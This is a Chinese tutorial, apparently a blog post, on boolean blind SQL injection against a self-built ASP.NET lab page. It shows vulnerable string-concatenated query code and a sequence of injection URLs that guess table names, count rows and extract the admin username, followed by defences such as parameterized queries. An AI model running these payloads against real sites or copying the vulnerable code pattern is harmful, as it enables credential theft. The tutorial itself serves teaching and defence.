SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆。进攻与防守相当于矛和盾的关系,我们如果能清楚了解

攻击的全过程,就可以更好的预防类似情况的出现。

 SQL注入原理   主要是攻击者,利用被攻击页面的一些漏洞(通常都是程序员粗心大意造成的),改变数据库执行的SQL语句,从而达到获取“非授权信息”的目的。

下面自己搭建了实验环境用于测试。  首先交待一下,测试环境 开发语言为 Asp.net  ,数据库使用的 MSQL ,测试页面模拟了普通的新闻页面,URL里接受参数 ?id=1  获取文章ID,

后台直接通获取的ID拼接查询语句,没有做敏感字符的过滤,从而为入侵者留下了有机可剩的漏洞.下面是后台代码:

    public partial class NewsInfo : System.Web.UI.Page
{
protected NewsModel _news = new NewsModel();
protected void Page_Load(object sender, EventArgs e)
{
var id = Request["id"];
var sqlStr = "select * from news where id=" + id;
var sqlCon = SqlHelper.GetConnection(); try
{
var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr); if (ds.Tables[].Rows.Count <= ) return; _news.Title = ds.Tables[].Rows[]["title"].ToString();
_news.Text = ds.Tables[].Rows[]["text"].ToString();
_news.CreateTime = ((DateTime)ds.Tables[].Rows[]["createTime"]).ToString("yyyy-MM-dd");
}
catch (Exception ex)
{ }
}
}

一、过程重现

  

1. 测试有没有注入漏洞

浏览器输入 http://localhost:2003/newsInfo?id=1  and 1=1    页面正常   后台执行的SQL语句为:select * from news where id=1 and 1=1

  输入 http://localhost:2003/newsInfo?id=1  and 1=2  空白页面,数据无法显示(后台执行的SQL语句为:select * from news where id=1 and 1=2),页面有注入漏洞。

2.  猜解数据库表名

既然有漏洞,就准备做点事情咯,主要目的是拿到后台管理员密码,先看看数据库里有哪些表吧

http://localhost:2003/newsInfo?id=1 and (select count(*) from userInfo) >=0   没有数据,继续猜解...... N次,

终于 http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=0

这里是利用 后面的条件查询数据库表,如果表不存在,后台就报错了,本测试示例后台对异常做了处理,但是数据肯定是出不来的。

数据显示正常,说明表 user 存在,判断 为 用户表

3. 表字段猜解

http://localhost:2003/newsInfo?id=1 and (select count(password) from [user]) >=0  ....... N次

http://localhost:2003/newsInfo?id=1 and (select count(pwd) from [user]) >=0  页面数据正常如下图

说名表 user 存在 pwd 字段

同理  确认表 user 里存在  name 字段。

4. 查询表里有多少条数据

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=5 返回空白页面

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=2 返回空白页面

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) =1  页面正常  ,只有一个用户。

5. 用户名猜解

<A>  用户名长度,

http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =3  ,返回空白页面

http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =4 ,返回空白页面

http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =5  ,返回正常页面,确定用户名为5位字符

<B>  用户名猜解

第一位    http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 20 ,返回正常页面 ...........

下面猜解 N次

         http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 96, 返回正常页面

http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 97   返回空白页面了

这说明 第一位 ASCII值为 97,对应字母 a

以此类推 ,第2位,第3位 .....第5位, 猜解出用户名 admin ,在这里主要用了 ASCII  和 SUBSTRING 函数,如果对这两个函数不熟悉请自行百度,下面是猜解过程截图。

用户名猜解成功。

6. 密码猜解

用户名搞定了,密码思路也是一样

<A> 先确定密码长度

<B> 逐个密码猜解,这里就不写注入的sql语句了,同 用户名 猜解

至此,整改网站管理后台沦陷。

二、防范方法

1. 后台进行输入验证,对敏感字符过滤。(某情况下不完全保险,可能会有漏掉的敏感字符,攻击者可以对关键字符转义绕过过滤)

 2. 使用存储过程(不灵活,太多存储过程不好维护,特别是如果存储过程里涉及到业务,对以后的维护简直是灾难,出了问题也不好查找)

3. 使用参数化查询,能避免拼接SQL,就不要拼接SQL语句。(当然了,本示例只要判断 参数ID 是否为数字就不会有题了)

4. 使用一些开源的框架也可以有效的避免SQL注入。

WEB 安全之 SQL注入<一> 盲注的更多相关文章

  1. webgote的例子(6)SQL注入(盲注)

    SQL Injection - Blind (WS/SOAP) 本期演示的是盲注的手法.有些网站在与数据库交互的地方进行了很好的修饰,将报错的语句进行修改,即使你找到了注入点也无法下手拿数据,这个时候 ...

  2. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  3. SQL注入:盲注

    盲注简介 所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击. 服务器没有错误回显,对于攻击者来说缺少了非常重要的"调试信息". 盲注分类 1.布尔盲注 布尔很明显Ture和F ...

  4. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

  5. Sql注入_mysql盲注__二次注入

    sleep盲注攻击 Sleep延迟:延迟盲注 If(条件,true,false): 条件成立,返回第二个参数,反之第三个参数 举例1:length id=1 union select 1,2,slee ...

  6. ctfhub技能树—sql注入—时间盲注

    打开靶机 查看页面信息 测试时间盲注 可以看到在执行命令后会有一定时间的等待,确定为时间盲注 直接上脚本 1 #! /usr/bin/env python 2 # _*_ coding:utf-8 _ ...

  7. ctfhub技能树—sql注入—布尔盲注

    打开靶机 查看页面信息 开始试验,查看返回信息 此题存在一个问题,如果没有数据,也是返回query_success 如此一来,就无法使用and组合进行注入,在看了其他大佬的解题过程后,知道了可以使用& ...

  8. WEB 安全之 SQL注入 < 三 > 提权

    SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果能清楚了解 攻击的全 ...

  9. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

随机推荐

  1. UIScrollView循环滚动1

    现在基本每一个商业APP都会有循环滚动视图,放一些轮播广告之类的,都是放在UIScrollView之上.假如我要实现N张图片的轮播,我借鉴了几个博文,得到两种方法实现: [第一种]:如下图(图片来源于 ...

  2. 【读书笔记】iOS-GCD-网络编程要不要使用GCD

    一,网络编程强烈推荐使用异步API. 二,对于网络编程可以断言“线程是魔鬼”.如果在网络编程中使用线程,就很可能会产生大量使用线程的倾向,会引发很多问题.例如每个连接都使用线程,很快就会用尽线程栈内存 ...

  3. iOS--页面间的代理传值(属性、代理(委托)、代码块、单例、通知)

    (一)属性传值 (二)代理(委托)传值 代理传值 适用于 反向传值 (从后往前传) 1.1 创建协议 及协议方法 在反向传值的页面(SecondViewController)中 1.2 创建协议类型的 ...

  4. 【原】visual studio添加现有文件夹的方法

    由于使用版本管理器协调工作,有时同事就直接上传文件夹了,但右键添加现有项时不能添加文件夹的. 在工具栏"项目"下面有个"显示所有文件",选择这个,整个工程的文件 ...

  5. ios appIcon配置

    iOS 我所知道的Assets.xcassets 字数923 阅读723 评论1 喜欢3 Assets.xcassets是用来存放图像资源文件的.将一个图片放在Assets里面是这个样子的 目录结构 ...

  6. MySQL学习总结(摘抄)

    1.数据库概述 简 而言之,数据库(DataBase)就是一个存储数据的仓库.为了方便数据的存储和管理,将数据按照特定的规律存储在磁盘上.通过数据库管理系统,可以有 效的组织和管理存储在数据库中的数据 ...

  7. URL、表单数据、IP等处理类

    <?php class ev { public $cookie; public $post; public $get; public $file; public $url; public $G; ...

  8. Sqlserver创建连接MySql的链接服务器

    第一步:在MySql服务器上安装与系统对应的 MySql-Connector-ODBC  官方下载地址 安装过程中可能会报 缺失 msvcr100.dll 的错误,这需要你根据系统到网上下载对应的这个 ...

  9. MySQL常用技巧

    1.查看MySQL版本信息: 1,登上 mysql>status; 2,登上 mysql>select version(); 3,登上 mysql> select @@version ...

  10. Linux运维式具之pdsh

    做系统运维的时候,我们经常需要同时在多台机器上执行相同的命令,这个时候可以使用类似pssh,pdsh的并行执行shell的工具. 当然,之前在没有使用这些工具之前,如果有ssh无密码互访,我们可以自己 ...